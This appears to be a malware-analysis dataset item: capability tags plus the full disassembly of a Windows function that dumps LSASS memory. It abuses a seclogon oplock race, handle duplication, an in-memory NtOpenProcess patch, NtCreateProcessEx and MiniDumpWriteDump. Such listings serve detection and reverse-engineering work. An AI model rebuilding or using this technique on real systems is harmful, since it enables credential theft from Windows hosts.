Function at 0x140001f60
Capabilities:
Acquire debug privileges
Allocate or change rwx memory
Check for protected handle exception
Check if file exists
Contain obfuscated stackstrings
Create process on windows
Create thread
Delete file
Execute shellcode via indirect call
Get file attributes
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rsi
push r13
push r14
push r15
lea rbp, [rsp - 0x10160]
mov eax, 0x10260
call fcn.140018070
sub rsp, rax
mov rax, qword [0x140025008]
xor rax, rsp
mov qword [rbp + 0x10138], rax
movdqa xmm0, xmmword [0x140022530]
xor esi, esi
movdqu xmmword [rbp + 0x100c8], xmm0
mov r15, rdx
mov r14d, ecx
movdqa xmm0, xmmword [str.NtCreateProcessEMiniDumpWriteDum]
lea rcx, [rbp + 0x100a8]
movdqu xmmword [rbp + 0x100e0], xmm0
mov dword [rsp + 0x54], r8d
mov dword [rsp + 0x50], esi
mov dword [rbp + 0x100a8], 0x620064
mov dword [rbp + 0x100ac], 0x630067
mov dword [rbp + 0x100b0], 0x72006f
mov dword [rbp + 0x100b4], 0x2e0065
mov dword [rbp + 0x100b8], 0x6c0064
mov dword [rbp + 0x100bc], 0x6c
mov word [rbp + 0x100c0], si
mov dword [rbp + 0x10090], 0x74006e
mov dword [rbp + 0x10094], 0x6c0064
mov dword [rbp + 0x10098], 0x2e006c
mov dword [rbp + 0x1009c], 0x6c0064
mov dword [rbp + 0x100a0], 0x6c
mov word [rbp + 0x100a4], si
mov word [rbp + 0x100d8], 0x70
mov word [rbp + 0x100f0], 0x78
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, [rbp + 0x100c8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp + 0x10090]
mov qword [rbp - 0x28], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, [rbp + 0x100e0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
mov qword [rsp + 0x70], rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x70]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rcx, qword [rsp + 0x70]
lea rdx, str.SeDebugPrivilege
call fcn.1400014f0
test eax, eax
je 0x1400025f7
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x102a8], rbx
mov qword [rsp + 0x10258], rdi
mov qword [rsp + 0x10250], r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.WINDOWS_system32_seclogon.dll
call fcn.140002c80
mov ebx, eax
test eax, eax
jne 0x14000217a
lea rcx, str.Seclogon_service_not_running__trying_to_wake_up..._n
call fcn.140001010
xorps xmm1, xmm1
lea r9, [0x140021d20]
xor eax, eax
lea rcx, [rsi - 1]
mov qword [rbp - 8], rax
xorps xmm0, xmm0
mov qword [rbp + 0x80], rax
xor r8d, r8d
lea rax, [rbp - 0x18]
xor edx, edx
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x20]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
movups xmmword [rbp - 0x18], xmm0
movups xmmword [rbp + 0x20], xmm1
movups xmmword [rbp + 0x30], xmm1
movups xmmword [rbp + 0x40], xmm1
movups xmmword [rbp + 0x50], xmm1
movups xmmword [rbp + 0x60], xmm1
movups xmmword [rbp + 0x70], xmm1
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
lea rcx, str.WINDOWS_system32_seclogon.dll
call fcn.140002c80
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r12d, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov rcx, qword gs:[0x30]
xor r9d, r9d
mov edi, eax
xor r8d, r8d
mov qword [rsp + 0x30], rsi
mov edx, 0x80000000
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x58], r14
movups xmm0, xmmword [rsp + 0x58]
mov dword [rsp + 0x28], 0x40000000
mov dword [rsp + 0x20], 3
movups xmmword [rcx + 0x40], xmm0
mov eax, dword [0x140022000]
lea rcx, [rbp + 0x100f8]
movups xmm1, xmmword [str.WindowsSystem32license.rtf]
mov dword [rbp + 0x10130], eax
movups xmm0, xmmword [0x140021fd8]
movups xmmword [rbp + 0x100f8], xmm1
movups xmm1, xmmword [0x140021fe8]
movups xmmword [rbp + 0x10108], xmm0
movsd xmm0, qword [0x140021ff8]
movups xmmword [rbp + 0x10118], xmm1
movsd qword [rbp + 0x10128], xmm0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov ecx, 0x18
mov dword [rbp - 0x40], 0xc0001
mov qword [rbp - 0x48], rax
lea r8, [rbp - 0x40]
mov eax, 1
mov dword [rbp - 0x3c], 3
mov dword [rbp - 0x38], eax
mov edx, 0x90240
mov dword [rbp], 0x180001
lea r9d, [rax + 0xb]
lea rax, [rbp - 0x60]
mov qword [rsp + 0x38], rax
lea rax, [rbp]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], ecx
mov rcx, rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x14000260e
lea rax, [rbp + 0x100f8]
mov dword [rbp - 0x80], r14d
mov qword [rbp - 0x78], rax
lea r9, [rbp - 0x80]
xor eax, eax
lea r8, [0x1400028b0]
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r9d, 1
lea r8, [rbp - 0x20]
lea rdx, [rbp - 0x60]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
je 0x140002627
lea rcx, str.Seclogon_thread_locked._A_lsass_handle_will_be_available_inside_the_seclogon_process__n
call fcn.140001010
mov rax, qword gs:[0x30]
lea r8, [rsp + 0x50]
mov qword [rbp - 0x80], r12
lea rdx, [rbp + 0x90]
mov qword [rbp - 0x78], rdi
mov ecx, ebx
movups xmm0, xmmword [rbp - 0x80]
movups xmmword [rax + 0x40], xmm0
call fcn.140001770
mov edi, dword [rsp + 0x50]
cmp edi, 1
jb 0x14000263e
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140002347
test al, 0x10
jne 0x140002347
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor edx, edx
movaps xmmword [rsp + 0x10240], xmm6
mov r8d, ebx
lea ecx, [rdx + 0x40]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor r12d, r12d
mov rsi, rax
mov ebx, r12d
test edi, edi
je 0x1400025af
nop
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x30], 2
lea r9, [rsp + 0x78]
mov edx, ebx
mov r8, rax
mov dword [rsp + 0x28], r12d
mov rcx, rsi
mov dword [rsp + 0x20], r12d
mov rdx, qword [rbp + rdx*8 + 0x90]
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_GetProcessId]
cmp eax, r14d
je 0x1400023c9
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
cmp ebx, edi
jb 0x140002370
jmp 0x1400025af
mov r9, qword [rsp + 0x78]
lea rcx, [rsp + 0x68]
mov byte [rsp + 0x40], r12b
xor r8d, r8d
mov qword [rsp + 0x38], r12
mov edx, 0x2000000
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], 0x1001
call r13
test eax, eax
jne 0x140002655
lea rax, [0x140002690]
mov qword [rbp - 0x68], r12
mov qword [rbp - 0x70], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x12c00000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, qword [rsp + 0x68]
mov edx, 2
mov r8d, edx
mov qword [0x140026d60], rax
mov dword [0x140026d68], r12d
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov rbx, qword [rsp + 0x68]
lea rcx, str.ntdll.dll
mov word [rbp - 0x40], 0xc748
mov byte [rbp - 0x3e], 1
mov dword [rbp - 0x3b], 0x31480000
mov byte [rbp - 0x37], 0xc0
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.NtOpenProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, 0xb
mov word [rbp - 0x3d], bx
lea r9, [rbp - 0x30]
mov rcx, rax
mov rdi, rax
movsd xmm6, qword [rax]
movzx r14d, word [rax + 8]
lea r8d, [rdx + 0x35]
movzx r12d, byte [rax + 0xa]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
movsd xmm0, qword [rbp - 0x40]
lea r9, [rbp - 0x1c]
movzx eax, word [rbp - 0x38]
mov edx, 0xb
movsd qword [rdi], xmm0
mov rcx, rdi
mov word [rdi + 8], ax
mov byte [rdi + 0xa], 0xc3
mov r8d, dword [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov rcx, qword [rsp + 0x68]
xor edi, edi
mov edx, eax
xor r8d, r8d
lea rax, [rbp - 0x70]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rdi
lea r9d, [rdi + 2]
mov qword [rsp + 0x20], rdi
call qword [rbp - 0x28]
test eax, eax
je 0x14000266e
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.NtOpenProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
lea r9, [rbp - 0x28]
lea edx, [rdi + 0xb]
mov rbx, rax
lea r8d, [rdi + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
movsd qword [rbx], xmm6
lea r9, [rsp + 0x70]
mov word [rbx + 8], r14w
lea edx, [rdi + 0xb]
mov byte [rbx + 0xa], r12b
mov rcx, rbx
mov r8d, dword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x68]
lea edx, [rdi + 2]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov edx, dword [rsp + 0x54]
mov rcx, r15
call fcn.140002700
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [0x140026d60]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x68]
mov qword [0x140026d60], rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movaps xmm6, xmmword [rsp + 0x10240]
mov rdi, qword [rsp + 0x10258]
mov rbx, qword [rsp + 0x102a8]
mov r12, qword [rsp + 0x10250]
mov rcx, qword [rbp + 0x10138]
xor rcx, rsp
call fcn.140002e40
add rsp, 0x10260
pop r15
pop r14
pop r13
pop rsi
pop rbp
ret
lea rcx, str.SetPrivilege_failed_to_enable_SeDebugPrivilege._Run_it_as_an_Administrator._Exiting..._n
call fcn.140001010
mov ecx, 0xffffffff
call fcn.140006cd4
int3
mov edx, eax
lea rcx, str.Oplock_Failed__d_n
call fcn.140001010
mov ecx, 0xffffffff
call fcn.140006cd4
int3
lea rcx, str.Oplock_Failed._Exiting..._n
call fcn.140001010
mov ecx, 0xffffffff
call fcn.140006cd4
int3
lea rcx, str.No_process_handles_found_in_seclogon._The_race_condition_didnt_work._n
call fcn.140001010
mov ecx, 0xffffffff
call fcn.140006cd4
int3
mov edx, eax
lea rcx, str.NtCreateProcessEx_failed_with_ntstatus_0x_08x
call fcn.140001010
mov ecx, 0xffffffff
call fcn.140006cd4
int3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.MiniDumpWriteDump_failed_with_error_code__d_n
call fcn.140001010
mov ecx, 0xffffffff
call fcn.140006cd4
int3